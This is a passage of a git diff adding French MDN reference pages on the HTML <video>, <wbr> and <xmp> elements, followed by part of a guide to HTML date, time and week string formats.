+<p>Il est possible de détecter l'ajout et la suppression de pistes d'un élément <code>&lt;video&gt;</code> grâce aux évènements {{event("addtrack")}} et {{event("removetrack")}}. Toutefois, ces évènements ne sont pas déclenchés à même l'élément <code>&lt;video&gt;</code> mais sur l'objet représentant la liste des pistes associées à l'élément <code>&lt;video&gt;</code> grâce à l'objet {{domxref("HTMLMediaElement")}} qui possède un type différent selon le type de piste manipulé :</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>Un objet {{domxref("AudioTrackList")}} qui contient l'ensemble des pistes audio associées au média. Il est possible d'ajouter un écouteur sur l'évènement <code>addtrack</code> sur cet objet afin d'être alerté lorsque de nouvelles pistes audio sont ajoutées à l'élément.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}}</dt>
+ <dd>On peut ajouter un écouteur d'évènement <code>addtrack</code> à cet objet {{domxref("VideoTrackList")}} afin d'être alerté lorsque des pistes vidéos sont ajoutées à l'élément.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}}</dt>
+ <dd>On peut ajouter un écouteur d'évènement <code>addtrack</code> à cet objet {{domxref("TextTrackList")}} afin d'être alerté lorsque des pistes textuelles sont ajoutées à l'élément.</dd>
+</dl>
+
+<p>Le fragment de code qui suit, par exemple, permettra d'appeler une fonction donnée lorsque des pistes audio sont ajoutées ou supprimées d'un élément <code>&lt;video&gt;</code> :</p>
+
+<pre class="brush: js">var elem = document.querySelector("video");
+
+elem.audioTrackList.onaddtrack = function(event) {
+  trackEditor.addTrack(event.track);
+};
+
+elem.audioTrackList.onremovetrack = function(event) {
+  trackEditor.removeTrack(event.track);
+};
+</pre>
+
+<p>On peut aussi utiliser la méthode {{domxref("EventTarget.addEventListener", "addEventListener()")}} pour gérer les évènements {{event("addtrack")}} et {{event("removetrack")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_simples">Exemples simples</h3>
+
+<pre class="brush: html">&lt;!-- Un exemple simple --&gt;
+&lt;video src="fichiervideo.webm" autoplay poster="vignette.jpg"&gt;
+  Votre navigateur ne permet pas de lire les vidéos.
+  Mais vous pouvez toujours
+  &lt;a href="fichiervideo.webm"&gt;la télécharger&lt;/a&gt; !
+&lt;/video&gt;
+
+&lt;!-- Une vidéo avec des sous-titres --&gt;
+&lt;video src="toto.webm"&gt;
+  &lt;track kind="subtitles" src="toto.en.vtt" srclang="en"
+    label="Anglais"&gt;
+  &lt;track kind="subtitles" src="toto.sv.vtt" srclang="sv"
+    label="Suédois"&gt;
+&lt;/video&gt;
+</pre>
+
+<p>Dans le premier exemple, la vidéo est lancée dès que possible. Avant que la vidéo ne soit lancée, la vignette utilisée sera le fichier <code>"vignette.jpg"</code>.</p>
+
+<p>Dans le deuxième exemple, l'utilisateur peut choisir parmi deux pistes de sous-titres.</p>
+
+<h3 id="Utiliser_plusieurs_sources">Utiliser plusieurs sources</h3>
+
+<p>Dans cet exemple, trois sources différentes pour la vidéo sont fournies. La première source utilisée est WebM, si son format n'est pas lisible pour le navigateur, c'est le fichier MP4 qui sera utilisé et si celui-ci n'est pas lisible non plus, ce sera le fichier OGG qui sera exploité.</p>
+
+<pre class="brush: html">&lt;video width="480" controls
+  poster="https://archive.org/download/WebmVp8Vorbis/webmvp8.gif" &gt;
+  &lt;source
+    src="https://archive.org/download/WebmVp8Vorbis/webmvp8.webm"
+    type="video/webm"&gt;
+  &lt;source
+    src="https://archive.org/download/WebmVp8Vorbis/webmvp8_512kb.mp4"
+    type="video/mp4"&gt;
+  &lt;source
+    src="https://archive.org/download/WebmVp8Vorbis/webmvp8.ogv"
+    type="video/ogg"&gt;
+  Votre navigateur ne permet pas de lire les vidéos HTML5.
+&lt;/video&gt;</pre>
+
+<h2 id="Utilisation_côté_serveur">Utilisation côté serveur</h2>
+
+<p>Si le type MIME de la vidéo n'est pas indiqué correctement sur le serveur, la vidéo peut ne pas s'afficher, le navigateur peut afficher un boîte grise avec une croix si JavaScript est activé.</p>
+
+<p>Si vous utilisez Apache pour servir des vidéos Ogg Theora, vous pouvez ajouter les extensions utilisées pour les fichiers en face du type MIME. Pour cela, il faut éditer le fichier de configuration <code>mime.types</code> (situé dans le dossier <code>/etc/apache</code> ) ou utiliser la directive de configuration <code>AddType</code> dans le fichier <code>httpd.conf</code>.</p>
+
+<pre class="eval">AddType video/ogg .ogm
+AddType video/ogg .ogv
+AddType video/ogg .ogg
+</pre>
+
+<p>Pour les vidéos WebM, le problème peut également être réglé en modifiant le fichier <code>mime.types</code> situé dans <code>/etc/apache</code> ou en ajoutant une directive <code>AddType</code> au fichier <code>httpd.conf</code>.</p>
+
+<pre class="eval">AddType video/webm .webm
+</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les vidéos doivent fournir des sous-titres et retranscription qui décrivent précisément le contenu. Les sous-titres doivent permettre au visiteur malentendant de comprendre le contenu audio lorsque la vidéo est lancée. Les retranscriptions sont utilisées par les personnes qui souhaitent relire le contenu audio à un rythme différent.</p>
+
+<p>Si on utilise un service de sous-titrage automatique est utilisé, il est nécessaire de vérifier que le contenu généré correspond bien au contenu audio de la vidéo.</p>
+
+<p>En plus des dialogues, les sous-titres et retranscription doivent également inclure les informations permettant d'identifier la musique et les effets sonores qui communiquent des informations importantes (l'émotion et le ton entre autres) :</p>
+
+<pre class="eval">14
+00:03:14 --&gt; 00:03:18
+[Musique rock théâtrale]
+
+15
+00:03:19 --&gt; 00:03:21
+[Murmure] Qu'est-ce que c'est au loin ?
+
+16
+00:03:22 --&gt; 00:03:24
+C'est… C'est un…
+
+16 00:03:25 --&gt; 00:03:32
+[Bruit de choc]
+[La vaisselle se brise]
+</pre>
+
+<p>Les sous-titres ne doivent pas masquer le sujet principal de la vidéo. Ils peuvent être positionnés grâce à <a href="/fr/docs/Web/API/WebVTT_API#Cue_settings">l'indication <code>align</code></a>.</p>
+
+<ul>
+ <li><a href="/fr/docs/Plugins/Flash_to_HTML5/Video/Subtitles_captions">Sous-titres et légendes - <em>Plugins</em></a></li>
+ <li><a href="/fr/docs/Web/API/WebVTT_API">API Web Video Text Tracks Format (WebVTT)</a></li>
+ <li><a href="https://webaim.org/techniques/captions/">WebAIM : <em>Captions, Transcripts, and Audio Descriptions</em> (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.2_—_Providing_text_alternatives_for_time-based_media">Comprendre les règles WCAG 1.2</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-av-only-alt.html"><em>Understanding Success Criterion 1.2.1 - W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-captions.html"><em>Understanding Success Criterion 1.2.2 - W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_intégré">contenu intégré</a>. Si l'élément a un attribut {{htmlattrxref("controls", "video")}} : <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>
+    <p>Si l'élément a un attribut {{htmlattrxref("src", "video")}} : zéro ou plusieurs éléments {{HTMLElement("track")}} suivi par du contenu transparent qui ne contient pas d'élément {{HTMLElement("audio")}} ou {{HTMLElement("video")}}</p>
+
+    <p>Sinon, zéro ou plusieurs éléments {{HTMLElement("source")}} suivi par zéro ou plusieurs éléments {{HTMLElement("track")}}, suivi par du contenu transparent qui ne contient pas d'élément {{HTMLElement("audio")}} ou {{HTMLElement("video")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_intégré">contenu intégré</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("application")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLVideoElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Retours</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-video-element', '&lt;video&gt;')}}</td>
+   <td><a href="https://github.com/whatwg/html/issues">Issues GitHub pour WHATWG HTML (en anglais)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.video")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Formats_pour_audio_video">Les formats pris en charge par <code>&lt;audio&gt;</code> et <code>&lt;video&gt;</code></a></li>
+ <li>{{htmlelement("audio")}}</li>
+ <li>Les propriétés CSS permettant de positionner/redimensionner le contenu : {{cssxref("object-position")}} and {{cssxref("object-fit")}}</li>
+ <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Utiliser les éléments <code>&lt;audio&gt;</code> et <code>&lt;video&gt;</code></a></li>
+ <li><a href="/fr/docs/HTML/Manipulating_video_using_canvas">Manipuler l'élément <code>&lt;video&gt;</code> avec <code>&lt;canvas&gt;</code></a></li>
+ <li><a href="/fr/docs/Web/HTTP/Configuring_servers_for_Ogg_media">Configuration côté serveur pour les média Ogg</a></li>
+</ul>
diff --git a/files/fr/web/html/element/wbr/index.html b/files/fr/web/html/element/wbr/index.html
new file mode 100644
index 0000000000..07ac5892fa
--- /dev/null
+++ b/files/fr/web/html/element/wbr/index.html
@@ -0,0 +1,113 @@
+---
+title: <wbr>
+slug: Web/HTML/Element/wbr
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/wbr
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;wbr&gt;</code></strong> permet de représenter un emplacement où casser la ligne si nécessaire. Le navigateur pourra alors utiliser cet emplacement pour effectuer un saut de ligne si le texte est trop long et qu'en temps normal, une règle empêche le saut de ligne.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/wbr.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Sur les pages encodées en UTF-8, <code>&lt;wbr&gt;</code> se comporte comme le point de code <code>U+200B</code><code> ZERO-WIDTH SPACE</code>, il se comporte notamment comme un point de code Unicode bidi BN, ce qui signifie qu'il n'a aucun effet sur l'ordre bidirectionnel (cf. {{Glossary("BiDi")}}. Autrement dit : <code>&lt;div dir=rtl&gt;123,&lt;wbr&gt;456&lt;/div&gt;</code> sera affiché comme <code>123,456</code> et non comme <code>456,123</code> lorsqu'il n'y a pas de saut de ligne.</li>
+ <li>Pour la même raison, l'élément <code>&lt;wbr&gt;</code> n'introduit pas de trait d'union à la fin de ligne. Pour avoir ce caractère, il faudra utiliser l'entité (<code>&amp;shy;</code>) (<em>soft-hyphen</em>).</li>
+ <li>Cet élément a été initialement implémenté par Internet Explorer 5.5 et est défini officiellement dans la spécification HTML5.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;http://voici&lt;wbr&gt;.une&lt;wbr&gt;.très&lt;wbr&gt;.très&lt;wbr&gt;.longue&lt;wbr&gt;.URL&lt;wbr&gt;.com/avec&lt;wbr&gt;/pleins&lt;wbr&gt;/de&lt;wbr&gt;/niveaux&lt;wbr&gt;/de&lt;wbr&gt;/pages&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","120")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> <em><a class="external" href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/">Le guide stylistique de Yahoo</a></em> recommande de <a class="external" href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/editing/treat-abbreviations-capitalization-and-titles-consistently/website-names-and-addresses">casser une URL avant la ponctuation</a> afin d'éviter toute ambiguïté sur la fin de l'URL (l'utilisateur pourrait croire que l'URL se finit en fin de ligne alors qu'elle se poursuit plus loin).</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, cet élément est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>Cet élément est un élément vide, il doit avoir une balise de début et ne doit pas avoir de balise de fin.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-wbr-element', '&lt;wbr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-wbr-element', '&lt;wbr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.wbr")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("overflow-wrap")}}</li>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("hyphens")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/xmp/index.html b/files/fr/web/html/element/xmp/index.html
new file mode 100644
index 0000000000..60119be95f
--- /dev/null
+++ b/files/fr/web/html/element/xmp/index.html
@@ -0,0 +1,48 @@
+---
+title: <xmp>
+slug: Web/HTML/Element/xmp
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/xmp
+---
+<div>{{Obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;xmp&gt;</code></strong> (pour <em>example</em>) affiche le texte entre les balises d'ouverture et de fermeture sans interpréter le HTML qu'il contient et en utilisant une police à chasse fixe. La spécification HTML 2 recommande un affichage suffisamment large pour contenir 80 caractères par ligne.</p>
+
+<div class="note"><strong>Note : </strong>Ne pas utiliser cet élément.
+
+<ul>
+ <li>Il a été déprécié depuis HTML3.2 et n'a pas été implémenté d'une manière cohérente. Il a été complètement retiré du langage dans HTML5.</li>
+ <li>Utilisez l'élément {{HTMLElement("pre")}} ou, si sémantiquement approprié, l'élément {{HTMLElement("code")}}. Notez qu'il vous faudra échapper les caractères '<code>&lt;</code>' et '<code>&gt;</code>' pour qu'ils ne soient pas interprétés.</li>
+ <li>Une police à chasse fixe peut être obtenu sur n'importe quel élément en utilisant des règles <a href="/fr/docs/CSS">CSS</a>, par la valeur <code>monospace</code> avec la propriété {{cssxref("font-family")}}.</li>
+</ul>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément n'a aucun autre attribut en dehors <a href="/fr/docs/Web/HTML/Attributs_universels">des attributs universels</a>, communs à tous les éléments.</p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref('HTMLElement')}}.</p>
+
+<div class="note">
+<p><strong>Note d'implémentation : </strong>Jusqu'à Gecko 1.9.2 inclus, Firefox implémentait l'interface {{domxref('HTMLSpanElement')}} pour cet élément.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.xmp")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments {{HTMLElement("pre")}} et {{HTMLElement("code")}} qui doivent être utilisés à la place.</li>
+ <li>Les éléments {{HTMLElement("plaintext")}} et {{HTMLElement("listing")}}, similaires à {{HTMLElement("xmp")}} mais également obsolètes.</li>
+</ul>
diff --git a/files/fr/web/html/formats_date_heure_html/index.html b/files/fr/web/html/formats_date_heure_html/index.html
new file mode 100644
index 0000000000..f9da6c5f01
--- /dev/null
+++ b/files/fr/web/html/formats_date_heure_html/index.html
@@ -0,0 +1,457 @@
+---
+title: Formats de date et d'heure utilisés en HTML
+slug: Web/HTML/Formats_date_heure_HTML
+tags:
+  - Date
+  - Guide
+  - HTML
+  - Time
+translation_of: Web/HTML/Date_and_time_formats
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Certains éléments HTML manipulent des valeurs temporelles pour des dates ou des heures. Les formats utilisés pour les chaînes de caractères qui définissent ces valeurs sont décrits dans cet article.</span> Les éléments qui utilisent ces données sont notamment les éléments {{HTMLElement("input")}} qui permettent de choisir une date, une heure ou les deux, les éléments {{HTMLElement("ins")}} et {{HTMLElement("del")}} dont l'attribut {{htmlattrxref("datetime", "ins")}} indique la date (ou la date et l'heure) à laquelle l'ajout ou la suppression de contenu a eu lieu.</p>
+
+<p>Pour les éléments <code>&lt;input&gt;</code>, voici les différents type (cf. {{htmlattrxref("type", "input")}}) pour lesquels l'attribut {{htmlattrxref("value")}} contient une chaîne de caractères représentant une date ou une heure :</p>
+
+<div class="twocolumns">
+<ul style="list-style-type: none; padding-left: 0;">
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/date">date</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/datetime">datetime</a></code> {{deprecated_inline}}</li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/datetime-local">datetime-local</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/month">month</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/time">time</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/week">week</a></code></li>
+</ul>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Avant de détailler plus, voyons quelques exemples de chaînes de caractères utilisées en HTML et qui représentent des valeurs temporelles.</p>
+
+<table class="standard-table">
+ <caption>Exemple de chaînes de caractères utilisées en HTML pour représenter des dates et des heures</caption>
+ <thead>
+  <tr>
+   <th scope="col">Chaîne de caractères</th>
+   <th colspan="2" scope="col">Date/heure</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>2005-06-07</code></td>
+   <td>7 juin 2005</td>
+   <td><a href="/en-US/docs/Web/HTML/Date_and_time_formats#Date_strings">[détails]</a></td>
+  </tr>
+  <tr>
+   <td><code>08:45</code></td>
+   <td>08h45m (le matin)</td>
+   <td><a href="/en-US/docs/Web/HTML/Date_and_time_formats#Time_strings">[détails]</a></td>
+  </tr>
+  <tr>
+   <td><code>08:45:25</code></td>
+   <td>08h45m25s</td>
+   <td><a href="/en-US/docs/Web/HTML/Date_and_time_formats#Time_strings">[détails]</a></td>
+  </tr>
+  <tr>
+   <td><code>0033-08-04T03:40</code></td>
+   <td>03h40 (du matin), le 04 août 33</td>
+   <td><a href="/en-US/docs/Web/HTML/Date_and_time_formats#Local_date_and_time_strings">[détails]</a></td>
+  </tr>
+  <tr>
+   <td><code>1977-04-01T14:00:30</code></td>
+   <td>30 secondes après 14h00, le premier avril 1977</td>
+   <td><a href="/en-US/docs/Web/HTML/Date_and_time_formats#Local_date_and_time_strings">[détails]</a></td>
+  </tr>
+  <tr>
+   <td><code>1901-01-01T00:00Z</code></td>
+   <td>Minuit, UTC, le 1er janvier 1901</td>
+   <td><a href="/en-US/docs/Web/HTML/Date_and_time_formats#Global_date_and_time_strings">[détails]</a></td>
+  </tr>
+  <tr>
+   <td><code>1901-01-01T00:00:01-04:00</code></td>
+   <td>Minuit passé d'une seconde sur l'heure de l'Est (EST), le 1er janvier 1901</td>
+   <td><a href="/en-US/docs/Web/HTML/Date_and_time_formats#Global_date_and_time_strings">[détails]</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notions_essentielles">Notions essentielles</h2>
+
+<p>Avant de s'intéresser aux différents formats pour la représentation textuelle des valeurs temporelles en HTML, commençons par décrire comment ces valeurs sont définies formellement. HTML utilise une variation du standard {{interwiki("wikipedia", "ISO 8601")}} pour les chaînes de caractères représentant les dates et les heures. Il est toujours utile de vérifier que le format utilisé est compatible avec HTML car la spécification HTML utilise des algorithmes pour analyser ces chaînes qui sont plus précis que le standard ISO 8601 (il peut donc y avoir quelques fines différences).</p>
+
+<h3 id="Jeu_de_caractères">Jeu de caractères</h3>
+
+<p>En HTML, les chaînes qui représentent des dates et des heures manipulent uniquement des caractères {{interwiki("wikipedia", "ASCII")}}.</p>
+
+<h3 id="Numérotation_des_années">Numérotation des années</h3>
+
+<p>La spécification HTML indique que les années doivent être exprimées selon le <a href="https://fr.wikipedia.org/wiki/Calendrier_gr%C3%A9gorien">calendrier grégorien</a>. Bien que les interfaces utilisateur permettent éventuellement de saisir des dates grâce à d'autres calendriers, la valeur sous-jacente est toujours représentée à l'aide du calendrier grégorien.</p>
+
+<p>Bien que le calendrier grégorien ait été créé en 1582 afin de remplacer le calendrier julien, la notation grégorienne est « étendue » en HTML jusqu'à 1 après J.C. Aussi, si vous manipulez des dates antérieures à 1582, assurez-vous qu'elles soient bien exprimées selon le calendrier grégorien.</p>
+
+<p>En HTML, les années sont toujours écrites avec au moins 4 chiffres. Aussi, les années antérieures à l'an 1000 sont complétées avec des zéros : l'an 72 est donc écrit <code>0072</code>. Les années antérieures à l'an 1 ne sont pas prises en charge par HTML.</p>
+
+<p>Une année est normalement constituée de 365 jours, sauf pendant les <strong>{{anch("Années bissextiles", "années bissextiles")}}</strong>.</p>
+
+<h4 id="Années_bissextiles">Années bissextiles</h4>
+
+<p>Une année bissextile est une année dont le numéro est:</p>
+
+<ul>
+ <li>Divisible par 400 ou,</li>
+ <li>Divisible par 4 mais pas par 100</li>
+</ul>
+
+<p>Bien qu'une année calendaire s'étende sur 365 jours, la Terre met environ 365,2422 jours avant d'effectuer une orbite complète autour du soleil. Les années bissextiles permettent d'ajuster le calendrier et de le synchroniser avec la position de la planète le long de l'orbite. Ajouter un jour tous les 4 ans (environ) permet d'avoir une année moyenne longue de 365,25 jours, ce qui est relativement correct.</p>
+
+<p>En ajustant l'algorithme avec les contraintes ci-avant (divisible par 400 ou divisible par 4 mais pas par 100), on s'approche plus précisement du nombre correct de jours (365,2425). Des secondes intercalaires sont parfois ajoutées au calendrier afin de compenser les trois millièmes restant et le ralentissement naturel de la rotation de la Terre.</p>
+
+<p>Le deuxième mois de l'année (février) possède 28 jours pendant les années non-bissextiles et 29 jours pendant les années bissextiles.</p>
+
+<h3 id="Mois_de_l'année">Mois de l'année</h3>
+
+<p>Une année comporte 12 mois, numérotés de 1 à 12. Les valeurs des mois sont toujours représentées par une chaîne de caractères se composant de deux chiffres : des valeurs entre <code>01</code> et <code>12</code>. Voir le tableau ci-après pour les numéros des mois et le nombre de jours correspondant.</p>
+
+<h3 id="Jours_du_mois">Jours du mois</h3>
+
+<p>Les mois numérotés 1, 3, 5, 7, 8, 10 et 12 possèdent 31 jours. Les mois 4, 6, 9 et 11 possèdent 30 jours. Le deuxième mois, février, possède 28 jours sauf pendant les années bissextiles où il possède 29 jours. Le tableau ci-après détaille les mois et leurs noms, ainsi que leur durée en jours.</p>
+
+<table class="standard-table">
+ <caption>Les mois de l'année et leur durée en jours</caption>
+ <thead>
+  <tr>
+   <th scope="row">Numéro du mois</th>
+   <th scope="col">Nom (en français))</th>
+   <th scope="col">Durée du mois (en nombre de jours)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">01</th>
+   <td>Janvier</td>
+   <td>31</td>
+  </tr>
+  <tr>
+   <th scope="row">02</th>
+   <td>Février</td>
+   <td>28 (29 pour les années bissextiles)</td>
+  </tr>
+  <tr>
+   <th scope="row">03</th>
+   <td>Mars</td>
+   <td>31</td>
+  </tr>
+  <tr>
+   <th scope="row">04</th>
+   <td>Avril</td>
+   <td>30</td>
+  </tr>
+  <tr>
+   <th scope="row">05</th>
+   <td>Mai</td>
+   <td>31</td>
+  </tr>
+  <tr>
+   <th scope="row">06</th>
+   <td>Juin</td>
+   <td>30</td>
+  </tr>
+  <tr>
+   <th scope="row">07</th>
+   <td>Juillet</td>
+   <td>31</td>
+  </tr>
+  <tr>
+   <th scope="row">o8</th>
+   <td>Août</td>
+   <td>31</td>
+  </tr>
+  <tr>
+   <th scope="row">09</th>
+   <td>Septembre</td>
+   <td>30</td>
+  </tr>
+  <tr>
+   <th scope="row">10</th>
+   <td>Octobre</td>
+   <td>31</td>
+  </tr>
+  <tr>
+   <th scope="row">11</th>
+   <td>Novembre</td>
+   <td>30</td>
+  </tr>
+  <tr>
+   <th scope="row">12</th>
+   <td>Décembre</td>
+   <td>31</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Représentation_des_semaines">Représentation des semaines</h2>
+
+<p>Une chaîne de caractères représentant une semaine correspondra à une semaine d'une année donnée. Aussi, une chaîne de caractères <strong>valide</strong> pour représenter une semaine se compose de 4 chiffres représentant l'année, suivis d'un tiret ("<code>-</code>" ou U+002D), suivi de la lettre majuscule "<code>W</code>" (U+0057), suivie d'un numéro de semaine sur deux chiffres.</p>
+
+<p>Le numéro de la semaine est une chaîne de caractères, avec deux chiffres, entre <code>01</code> et <code>53</code>. Chaque semaine commence un lundi et se termine un dimanche. Il est ainsi possible que les premiers jours de janvier fassent partie de la dernière semaine de l'année précédente et que les derniers jours fassent partie de la première semaine de l'année suivante. La première semaine de l'année est celle qui contient <em>le premier jeudi de l'année</em>. Ainsi, le premier jeudi de 1953 était le 1er janvier et la semaine contenant ce jour est donc considérée la première semaine de l'année. Ainsi, le 30 décembre 1952 appartient à la semaine <code>1953-W01</code>.</p>
+
+<p>Une année aura 53 semaines si :</p>
+
+<ul>
+ <li>Le premier jour de l'année calendaire (le premier janvier) est un jeudi <strong>ou</strong></li>
+ <li>Le premier jour de l'année calendaire (le premier janvier) est un mercredi et que l'année est une {{anch("Années bissextiles", "année bissextile")}}.</li>
+</ul>
+
+<p>Les autres années contiennent 52 semaines.</p>
+
+<table class="standard-table">
+ <caption>Exemples de chaînes de caractères valides pour représenter des semaines</caption>
+ <thead>
+  <tr>
+   <th scope="col">Chaîne de caractères</th>
+   <th scope="col">Semaine et année (intervalle de dates)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>2001-W37</code></td>
+   <td>Semaine 37 de l'année 2001 (entre le 10 et le 16 septembre 2001)</td>
+  </tr>
+  <tr>
+   <td><code>1953-W01</code></td>
+   <td>Semaine 1 de l'année 1953 (entre le 29 décembre 1952 et le 4 janvier 1953)</td>
+  </tr>
+  <tr>
